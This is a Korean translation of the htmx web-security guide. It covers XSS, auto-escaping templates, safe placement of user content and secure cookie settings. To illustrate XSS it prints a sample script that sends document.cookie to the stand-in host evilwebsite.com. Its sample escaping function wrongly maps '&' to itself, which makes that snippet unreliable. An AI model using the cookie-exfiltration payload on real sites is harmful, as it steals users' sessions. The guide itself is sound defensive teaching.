Web Security Basics (with htmx)

htmx가 인기를 얻으면서 서버에서 생성된 HTML을 작성해 본 적이 없는 커뮤니티에도 도달하게 되었습니다. 동적 HTML 템플릿은 여전히 Rails, Django, Spring과 같은 인기 있는 웹 프레임워크를 사용하는 표준 방식이지만, React와 Svelte 같은 단일 페이지 애플리케이션(SPA) 프레임워크를 사용해 온 사람들에게는 HTML을 직접 작성하지 않는 것이 일반적입니다.

하지만 걱정하지 마세요! HTML 템플릿으로 웹 애플리케이션을 작성하는 것은 약간 다른 보안 모델을 요구하지만, JSX 기반 애플리케이션을 보호하는 것보다 어렵지 않으며, 어떤 면에서는 훨씬 더 쉽습니다.

#이 가이드의 대상은 누구인가요?

이 가이드는 htmx에서 웹 보안의 기초를 다룹니다. 그러나 이 개념들은 htmx에만 국한되지 않고, 동적이며 사용자 생성 콘텐츠를 웹에 배포할 때 중요하게 고려해야 하는 개념들입니다.

이 가이드를 위해, 여러분은 웹의 기본 의미를 이해하고 백엔드 서버를 작성할 수 있어야 합니다(언어는 상관없습니다). 예를 들어, 상태를 변경할 수 있는 GET 경로를 만들지 않아야 한다는 것을 알고 있어야 합니다. 또한, 이 가이드는 다른 사람의 웹사이트를 호스팅하는 것과 같은 복잡한 작업을 다루지 않습니다. 만약 그런 작업을 하고 있다면, 이 가이드에서 다루는 보안 개념을 넘어서는 내용을 숙지해야 합니다.

이러한 간소화된 가정을 통해 가능한 한 많은 사람들에게 타겟팅하고, 방해가 되는 정보를 포함하지 않도록 노력했습니다. 당연히 모든 상황을 포괄할 수는 없습니다. 어떤 보안 가이드도 완벽히 포괄적일 수는 없습니다. 만약 실수가 있거나 언급해야 할 명백한 위험 요소가 있다고 생각하시면, 연락해 주시면 업데이트하겠습니다.

#황금 규칙

다음 네 가지 간단한 규칙을 따르면 클라이언트 보안 모범 사례를 따르게 됩니다:

1. 제어할 수 있는 경로만 호출하기
2. 자동 이스케이프(template engine)를 항상 사용하기
3. 사용자 생성 콘텐츠를 HTML 태그 내에서만 제공하기
4. 인증 쿠키가 있는 경우 Secure, HttpOnly, SameSite=Lax 설정하기

다음 섹션에서는 각 규칙이 무엇을 의미하며, 어떤 종류의 공격을 방어하는지 설명하겠습니다. 대부분의 htmx 사용자, 즉 사용자가 로그인하고, 데이터를 조회하고, 그 데이터를 업데이트할 수 있는 웹사이트를 구축하는 사용자는 이러한 규칙을 어길 이유가 거의 없을 것입니다.

이후에는 일부 규칙을 깨는 방법에 대해 설명하겠습니다. 이러한 제약 내에서 유용한 애플리케이션을 많이 구축할 수 있지만, 더 고급스러운 기능이 필요하다면 애플리케이션의 보안을 유지하는 개념적 부담이 증가할 것이라는 점을 충분히 인식하고 있어야 합니다. 이 과정에서 웹 보안에 대해 많은 것을 배우게 될 것입니다.

#규칙 이해하기

#제어할 수 있는 경로만 호출하기

이 규칙은 가장 기본적이고 가장 중요합니다: 신뢰할 수 없는 경로를 htmx로 호출하지 마세요.

실제로는 상대 URL만 사용해야 한다는 의미입니다. 다음은 괜찮은 예입니다:

<button hx-get="/events">Search events</button>

하지만 다음은 잘못된 예입니다:

<button hx-get="https://google.com/search?q=events">Search events</button>

그 이유는 간단합니다: htmx는 해당 경로에서 받은 응답을 사용자의 페이지에 직접 삽입합니다. 만약 응답에 악성 <script>가 포함되어 있다면, 해당 스크립트가 사용자의 데이터를 훔칠 수 있습니다. 경로를 제어하지 않으면, 해당 경로를 제어하는 사람이 악성 스크립트를 추가하지 않으리라는 보장이 없습니다.

다행히도 이 규칙은 매우 쉽게 지킬 수 있습니다. 하이퍼미디어 API(즉, HTML)는 애플리케이션의 레이아웃에 구체적이므로 다른 사람의 HTML을 페이지에 삽입할 이유가 거의 없습니다. 자신이 제어하는 경로만 호출하면 됩니다(실제로 htmx 2 버전에서는 기본적으로 다른 도메인 호출을 비활성화합니다).

이전에는 프론트엔드와 백엔드를 별도의 리포지토리로 분리하고 때로는 서로 다른 URL에서 제공하는 SPA 패턴이 흔했지만, htmx(그리고 공정하게 말하면 현대의 React와 NextJS에서도)는 이것을 반패턴으로 간주합니다.

대신, 프론트엔드 HTML을 백엔드와 동일한 서버(또는 최소한 동일한 도메인)에서 제공하면 모든 것이 쉽게 정리됩니다: 상대 URL을 사용할 수 있고, CORS 문제를 겪지 않으며, 다른 사람의 백엔드를 호출할 일이 없습니다.

htmx는 HTML을 실행합니다; HTML은 코드입니다; 신뢰할 수 없는 코드를 절대 실행하지 마세요.

#자동 이스케이프 템플릿 엔진을 항상 사용하기

사용자에게 HTML을 전송할 때는 모든 동적 콘텐츠를 이스케이프해야 합니다. 응답을 구성할 때 템플릿 엔진을 사용하고, 자동 이스케이프가 활성화되어 있는지 확인하세요.

다행히 모든 템플릿 엔진은 HTML 이스케이프를 지원하며, 대부분은 기본적으로 활성화되어 있습니다. 아래는 몇 가지 예시입니다.

이 규칙이 방지하는 취약점은 흔히 교차 사이트 스크립팅(XSS) 공격으로 불리며, 이는 광범위하게 사용되는 용어로, 웹페이지에 예상치 못한 콘텐츠를 주입하는 것을 의미합니다. 일반적으로 공격자는 API를 사용해 악성 코드를 데이터베이스에 저장한 후, 그 정보를 요청하는 다른 사용자들에게 해당 코드를 제공하는 방식을 사용합니다.

예를 들어, 데이트 사이트를 구축 중이라고 가정하고, 사용자가 자신의 소개글을 공유할 수 있게 했다고 합시다. 데이터베이스에 저장된 소개글은 {{ user.bio }}로 렌더링될 것입니다:

<p>
{{ user.bio }}
</p>

만약 악의적인 사용자가 <script> 요소를 포함한 소개글을 작성했다면, 이 HTML은 해당 소개글을 보는 모든 사용자에게 전송될 것입니다:

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

다행히도 이 문제는 아주 간단히 해결할 수 있습니다. 사용자가 제공한 데이터를 삽입할 때, 여덟 개의 문자를 그들의 비코드 대체 문자로 바꿔주기만 하면 됩니다. 다음은 JavaScript로 작성된 예시입니다:

/**
 * HTML 컨텍스트에서 악성 스크립트를 주입할 수 있는 문자를 치환합니다.
 */
export function escapeHtmlText(value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // /[ ... ]/ 내부의 모든 문자와 일치시킵니다.
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

이 작은 JS 함수는 <을 <, "을 "로 바꿉니다. 이러한 문자들은 텍스트로 사용할 때 <와 "로 올바르게 렌더링되지만, 코드 구문으로 해석될 수는 없습니다. 이전의 악성 소개글은 다음과 같은 HTML로 변환됩니다:

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

이제는 안전하게 텍스트로 표시됩니다.

다행히도, 앞서 언급했듯이 수동으로 이스케이프할 필요는 없습니다. 이스케이프의 개념이 얼마나 간단한지를 보여주기 위해 예시를 든 것뿐입니다. 모든 템플릿 엔진에는 자동 이스케이프 기능이 있으며, 어차피 템플릿 엔진을 사용하게 될 것입니다. 이스케이프가 활성화되어 있는지 확인하고, 모든 HTML을 이를 통해 전송하세요.

#사용자 생성 콘텐츠는 HTML 태그 안에만 제공하기

이 규칙은 템플릿 엔진 규칙의 추가 사항이지만, 충분히 중요한 부분이므로 별도로 언급하고자 합니다. 자동 이스케이프 템플릿 엔진을 사용하더라도 사용자가 임의로 CSS나 JS 콘텐츠를 정의하지 않도록 해야 합니다.

<!-- script 태그 안에 포함하지 마세요 -->
<script>
  const userName = {{ user.name }}
</script>

<!-- CSS 태그 안에 포함하지 마세요 -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

또한, 사용자 정의 속성이나 태그 이름도 사용하지 마세요:

<!-- 사용자 정의 태그 이름 허용하지 않기 -->
<{{ user.tag }}></{{ user.tag }}>

<!-- 사용자 정의 속성 허용하지 않기 -->
<a {{ user.attribute }}></a>

<!-- 사용자 정의 속성 값은 경우에 따라 괜찮을 수 있음 -->
<a class="{{ user.class }}"></a>

<!-- 이스케이프된 콘텐츠는 항상 HTML 태그 안에서 안전함 (이건 괜찮습니다) -->
<a>{{ user.name }}</a>

CSS, JavaScript, 그리고 HTML 속성은 “위험한 컨텍스트”로, 이스케이프되더라도 임의의 사용자 입력을 허용하는 것이 안전하지 않습니다. 이스케이프는 여기에서 일부 취약점을 방어해 줄 수 있지만, 모든 것을 막아주지는 못하며, 취약점이 다양한 만큼 기본적으로는 이러한 작업을 전혀 하지 않는 것이 가장 안전합니다.

사용자 생성 텍스트를 스크립트 태그에 직접 삽입하는 것은 절대 필요하지 않지만, 사용자가 CSS를 커스터마이징하거나 HTML 속성을 커스터마이징하도록 허용해야 할 상황이 있을 수 있습니다. 이러한 작업을 올바르게 처리하는 방법에 대해서는 아래에서 다루겠습니다.

#쿠키 보안 설정

htmx에서 인증을 수행하는 가장 좋은 방법은 쿠키를 사용하는 것입니다. htmx는 기본적으로 첫 번째 HTML API를 통한 상호작용을 권장하기 때문에 브라우저의 최상의 쿠키 보안 기능을 활성화하는 것이 대개 간단합니다. 특히 다음 세 가지를 활성화해야 합니다:

• Secure - HTTPS를 통해서만 쿠키를 전송하고, HTTP를 통해서는 전송하지 않음
• HttpOnly - 쿠키를 document.cookie를 통해 JavaScript에서 사용할 수 없도록 함
• SameSite=Lax - 단순한 링크가 아닌 이상, 다른 사이트에서 쿠키를 사용하여 요청을 보낼 수 없도록 함

이 설정들이 무엇을 방어하는지 이해하기 위해, 쿠키의 기본 사항을 살펴보겠습니다. JavaScript SPA에서 주로 Authorization 헤더를 사용하여 인증하는 경우, 쿠키가 어떻게 동작하는지 익숙하지 않을 수 있습니다. 다행히도 쿠키는 매우 간단합니다. (참고: 이것은 htmx에서의 인증에 대한 튜토리얼이 아니라, 쿠키 토큰에 대한 일반적인 개요입니다)

사용자가 <form>을 통해 로그인하면, 브라우저는 서버에 HTTP 요청을 보내고, 서버는 다음과 같은 응답을 반환합니다:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]

이 토큰은 사용자의 현재 로그인 세션에 해당하며, 이후 해당 사용자가 yourdomain.com의 모든 경로에 요청을 보낼 때마다 브라우저는 Set-Cookie에서 받은 이 쿠키를 HTTP 요청에 포함합니다.

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

사용자가 서버에 요청을 보낼 때마다, 서버는 이 토큰을 파싱하고 유효한지 확인해야 합니다. 간단하죠.

또한, 위에서 권장한 옵션을 포함하여 쿠키에 옵션을 설정할 수도 있습니다. 프로그래밍 언어에 따라 설정 방법은 다르지만, 결과적으로는 다음과 같은 HTTP 응답이 생성됩니다:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]

그렇다면 이 옵션들은 무엇을 하는 걸까요?

첫 번째, Secure는 브라우저가 안전하지 않은 HTTP 연결을 통해 쿠키를 전송하지 않고, 오직 안전한 HTTPS 연결을 통해서만 전송하도록 보장합니다. 사용자의 로그인 토큰과 같은 민감한 정보는 절대 안전하지 않은 연결을 통해 전송되지 않아야 합니다.

두 번째 옵션인 HttpOnly는 브라우저가 쿠키를 JavaScript에 노출하지 않도록 합니다(document.cookie에서 쿠키를 사용할 수 없도록 함). 앞서 언급한 evilwebsite.com 예시와 같이, 누군가 악성 스크립트를 삽입하더라도, 해당 스크립트는 사용자의 쿠키에 접근하거나 이를 evilwebsite.com으로 전송할 수 없습니다. 브라우저는 쿠키를 해당 쿠키가 발급된 웹사이트에 대한 요청을 보낼 때만 첨부합니다.

마지막으로, SameSite=Lax는 크로스 사이트 요청 위조(CSRF) 공격을 방어하는 데 도움이 됩니다. CSRF 공격은 공격자가 클라이언트의 브라우저가 yourdomain.com 서버로 악의적인 요청(예: POST 요청)을 보내도록 시도하는 것입니다. SameSite=Lax 설정은 요청을 보낸 사이트가 yourdomain.com이 아닌 경우, 브라우저가 yourdomain.com 쿠키를 전송하지 않도록 지시합니다(단순한 <a> 링크를 통해 페이지로 이동하는 경우는 제외). 이는 대부분의 브라우저의 기본 동작이지만, 여전히 직접 설정하는 것이 중요합니다.

2024년에는 SameSite=Lax 설정이 CSRF를 방어하기에 충분한 경우가 많지만, 더 민감하거나 복잡한 상황에서는 추가적인 완화책을 고려할 수도 있습니다.

중요한 참고 사항: SameSite=Lax는 도메인 수준에서만 보호하며, 하위 도메인 수준(예: yourdomain.com, yoursite.github.io)에서는 보호하지 않습니다. 사용자가 로그인할 때는 항상 프로덕션에서 자체 도메인을 사용하는 것이 좋습니다. 때로는 공용 접미사 목록(Public Suffixes List)이 보호해 줄 수 있지만, 이에 의존해서는 안 됩니다.

#규칙을 깨는 경우

우리는 가장 쉽고 안전한 관행부터 시작했습니다. 이렇게 하면 실수로 인해 사용자 경험이 손상되는 경우, 데이터를 도난당하는 것보다 훨씬 쉽게 수정할 수 있습니다.

일부 웹 애플리케이션은 더 복잡한 기능을 요구하며, 더 많은 사용자 커스터마이징을 필요로 합니다. 이러한 경우 더 복잡한 보안 메커니즘이 필요합니다. 이러한 규칙을 깨야 한다면, 그것이 정말로 필요하다는 것과 대체 수단으로 구현할 수 없다는 것을 확신한 후에만 그렇게 해야 합니다.

#신뢰할 수 없는 API 호출

신뢰할 수 없는 HTML API를 호출하는 것은 미친 짓입니다. 절대 그렇게 하지 마세요.

다른 경우에는 클라이언트에서 다른 사람의 JSON API를 호출하고 싶을 수 있습니다. JSON은 임의의 스크립트를 실행할 수 없으므로 괜찮습니다. 이 경우, 데이터를 HTML로 변환하기 위해 무언가를 해야 할 것입니다. 이때 htmx를 사용하지 말고, fetch와 JSON.parse()를 사용하세요. 신뢰할 수 없는 API가 HTML 대신 JSON을 반환하면, JSON.parse()는 단순히 안전하게 실패합니다.

하지만 파싱한 JSON에 HTML로 포맷된 속성이 있을 수 있습니다:

{ "name": "<script>alert('하하하, 나는 스크립트다')</script>" }

따라서 JSON 값을 HTML로 삽입하지 말고, textContent를 사용하세요. 이는 htmx가 제어하는 UI 범위를 벗어나는 것이지만 중요한 점입니다.

htmx 2.0 버전에서는 다른 사람의 API를 클라이언트에서 직접 호출하고 해당 텍스트를 페이지에 넣을 수 있도록 textContent 교체 기능을 포함할 예정입니다.

#사용자 정의 HTML 컨트롤

신뢰할 수 없는 HTML 경로를 호출하는 것과 달리, 동적으로 HTML 형식의 콘텐츠를 사용자가 만들도록 허용하는 것에는 많은 좋은 이유가 있습니다.

예를 들어, 사용자가 이미지를 링크하도록 하고 싶다면 어떻게 할까요?

<img src="{{ user.fav_img }}">

또는 개인 웹사이트로 연결하는 링크를 만들고 싶다면?

<a href="{{ user.fav_link }}">

기본적으로 “모든 것을 이스케이프“하는 접근 방식은 슬래시(/)를 이스케이프하기 때문에 사용자가 제출한 URL을 망가뜨릴 수 있습니다.

이를 해결하는 몇 가지 방법이 있습니다. 가장 간단하고 안전한 방법은 사용자가 이러한 값을 커스터마이징할 수 있도록 하되, 실제 텍스트를 정의하지 못하도록 하는 것입니다. 이미지 예제에서는 이미지를 자체 서버(또는 S3 버킷 등)에 업로드하고, 링크를 직접 생성한 후 이를 이스케이프하지 않고 포함할 수 있습니다. Nunjucks에서는 safe 함수를 사용합니다:

<img src="{{ user.fav_img_s3_url | safe }}">

네, 이스케이프되지 않은 콘텐츠를 포함하고 있지만, 이는 여러분이 생성한 링크이므로 안전하다고 확신할 수 있습니다.

사용자 정의 CSS도 같은 방식으로 처리할 수 있습니다. 사용자가 색상을 직접 지정하는 대신, 제한된 선택지를 제공하고 그들의 입력에 따라 선택지를 설정합니다.

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

이 예에서 사용자는 favorite_color을 원하는 대로 설정할 수 있지만, 결국 빨간색이나 파란색으로만 제한됩니다. 좀 더 복잡한 예로는 정규식을 사용하여 적절한 형식의 헥스 코드를 입력할 수 있도록 하는 것이 있습니다. 이런 아이디어입니다.

어떤 종류의 커스터마이징을 지원하느냐에 따라, 이를 보안하는 것이 상대적으로 쉬울 수도 있고, 매우 어려울 수도 있습니다. 일부 속성은 “안전한 싱크(safe sinks)”로 간주되며, 이들의 값은 코드로 해석되지 않으므로 비교적 쉽게 보안할 수 있습니다. 그러나 “위험한 컨텍스트”에 동적 입력을 포함하려는 경우, 해당 컨텍스트의 위험한 부분이 무엇인지 연구하고, 그 종류의 입력이 문서에 들어가지 않도록 해야 합니다.

예를 들어, 사용자가 임의의 웹사이트나 이미지로 연결할 수 있도록 하려면, 이는 훨씬 더 복잡해집니다. 먼저 속성을 따옴표 안에 넣도록 하세요(대부분의 사람들은 어쨌든 이렇게 합니다). 그런 다음, 슬래시(및 경우에 따라 앰퍼샌드)를 제외한 모든 것을 이스케이프하는 사용자 정의 이스케이프 함수를 작성하여 링크가 올바르게 작동하도록 해야 합니다.

그러나 올바르게 수행하더라도 새로운 보안 문제를 도입할 수 있습니다. 예를 들어, 그 이미지 링크는 사용자의 요청을 다른 서버에서 직접 수신하므로 사용자를 추적하는 데 사용될 수 있습니다. 이것이 괜찮다고 생각할 수도 있고, 다른 완화 조치를 포함할 수도 있습니다. 중요한 점은 이러한 수준의 커스터마이징을 도입하면 더 어려운 보안 모델이 필요하다는 점을 인식하고, 이를 연구하고 테스트할 수 있는 여력이 없다면 하지 말아야 한다는 것입니다.

#비쿠키 인증

JavaScript SPA에서는 때때로 토큰을 클라이언트의 로컬 스토리지에 저장한 다음 각 요청의 Authorization 헤더에 추가하여 인증을 수행합니다. 그러나 불행히도 JavaScript를 사용하지 않고는 Authorization 헤더를 설정할 수 없으며, 이는 안전하지 않습니다. 신뢰할 수 있는 JavaScript에 접근할 수 있다면, 악성 스크립트가 페이지에 삽입될 경우 공격자도 접근할 수 있기 때문입니다. 대신, 쿠키(위에서 언급한 속성 포함)를 사용하세요. 쿠키는 JavaScript에 전혀 접근하지 않고도 설정하고 보호할 수 있습니다.

Authorization 헤더가 있지만 하이퍼미디어 컨트롤로 이를 설정할 수 없는 이유는 무엇일까요? 글쎄요, 그것은 WHATWG의 놀라운 누락 작은 미스터리 중 하나일 뿐입니다.

만약 사용자의 클라이언트를 여러분이 제어하지 않는 API로 인증해야 한다면, 일반적인 비신뢰 경로에 대한 주의 사항이 적용됩니다.

#보너스: 콘텐츠 보안 정책

콘텐츠 보안 정책(CSP)도 알고 있어야 합니다. CSP는 HTTP 헤더를 사용하여 페이지에서 실행할 수 있는 콘텐츠의 종류에 대한 규칙을 설정합니다. 예를 들어, 페이지가 특정 도메인에서만 이미지를 로드하도록 제한하거나, 인라인 스크립트를 비활성화할 수 있습니다.

이것이 “골든 룰” 중 하나가 아닌 이유는 모든 곳에 보편적으로 적용하기 쉽지 않기 때문입니다. “대부분에 적합한” CSP라는 것은 없습니다. 일부 htmx 애플리케이션은 인라인 스크립트를 사용하며, hx-on 속성은 임의의 스크립트를 평가할 수 있는 일반화된 속성 리스너입니다(필요하지 않다면 비활성화할 수 있습니다). 인라인 스크립트가 필요하지 않고, 더 엄격한 CSP를 채택할 수 있는 경우도 있습니다. 이 모든 것은 애플리케이션의 보안 프로필에 따라 달라지며, 사용할 수 있는 옵션을 알고 그 분석을 수행할 수 있어야 합니다.

#이것이 한 걸음 뒤로 가는 것일까요?

SPA를 만들 때 이러한 것들을 몰라도 되었다면, htmx가 보안 측면에서 한 걸음 뒤로 가는 것이 아닌가 의문이 들 수 있습니다. 우리는 이 주장의 두 부분 모두에 대해 도전하고 싶습니다.

이 기사는 htmx의 보안 속성을 변호하기 위한 것이 아니지만, 하이퍼미디어 애플리케이션이 기본적으로 JSON 기반 프런트엔드보다 훨씬 더 안전한 여러 영역이 있습니다. HTML API는 렌더링되어야 하는 정보만 반환하므로, JSON 응답에서 의도치 않은 데이터가 “숨겨져” 사용자가 이를 유출하는 일이 훨씬 더 쉽게 발생할 수 있습니다. 하이퍼미디어 API는 또한 클라이언트에서 훨씬 더 복잡한 보안 모델을 필요로 하는 GraphQL과 같은 일반화된 쿼리 언어를 구현하는 데 적합하지 않습니다. 모든 종류의 결함은 애플리케이션의 복잡성에 숨어 있습니다. 일반적으로 하이퍼미디어 애플리케이션은 덜 복잡하므로 보안이 더 쉽습니다.

또한, 웹에 동적 콘텐츠를 배포하는 경우 XSS 공격에 대해 알아야 합니다. XSS가 어떻게 작동하는지 이해하지 못하는 개발자는 React의 dangerouslySetInnerHTML이 왜 위험한지 이해하지 못할 것이며, 사용자 생성 텍스트를 렌더링해야 할 때 바로 이 기능을 사용할 것입니다. 라이브러리는 이러한 보안 기본 사항을 가능한 한 쉽게 찾을 수 있도록 해야 하며, 개발자는 항상 이를 배우고 준수해야 할 책임이 있습니다.

이 기사는 htmx 애플리케이션을 보안적으로 성공하기 쉽게 만들기 위해 구성되어 있습니다. 이 간단한 규칙을 따르기만 하면 XSS 취약점을 코딩할 가능성은 매우 낮아집니다. 그러나 보안에 대해 전혀 배우지 않으려는 개발자 손에 들어간 라이브러리가 안전할 수는 없습니다. 보안은 정보에 대한 접근을 제어하는 것과 관련이 있으며, 어떤 정보에 누가 접근할 수 있는지를 컴퓨터에게 설명하는 것은 항상 인간의 역할이기 때문입니다.

안전한 웹 애플리케이션을 작성하는 것은 어렵습니다. 라우팅, 데이터베이스 접근, HTML 템플릿, 비즈니스 로직 등과 관련된 많은 쉬운 함정들이 존재합니다. 그럼에도 불구하고, 보안이 보안 전문가들의 영역에만 국한된다면, 오직 보안 전문가들만 웹 애플리케이션을 만들어야 합니다. 그것이 정말로 그렇게 되어야 할 수도 있습니다! 하지만 보안 전문가들만이 웹 애플리케이션을 만든다면, 그들은 분명히 템플릿 엔진을 올바르게 사용하는 방법을 알고 있을 것이며, htmx도 그들에게는 아무런 문제가 되지 않을 것입니다.

모든 사람들에게:

1. 신뢰할 수 없는 경로를 호출하지 마세요.
2. 자동 이스케이프 템플릿 엔진을 사용하세요.
3. 사용자 생성 콘텐츠는 HTML 태그 안에만 넣으세요.
4. 쿠키를 안전하게 설정하세요.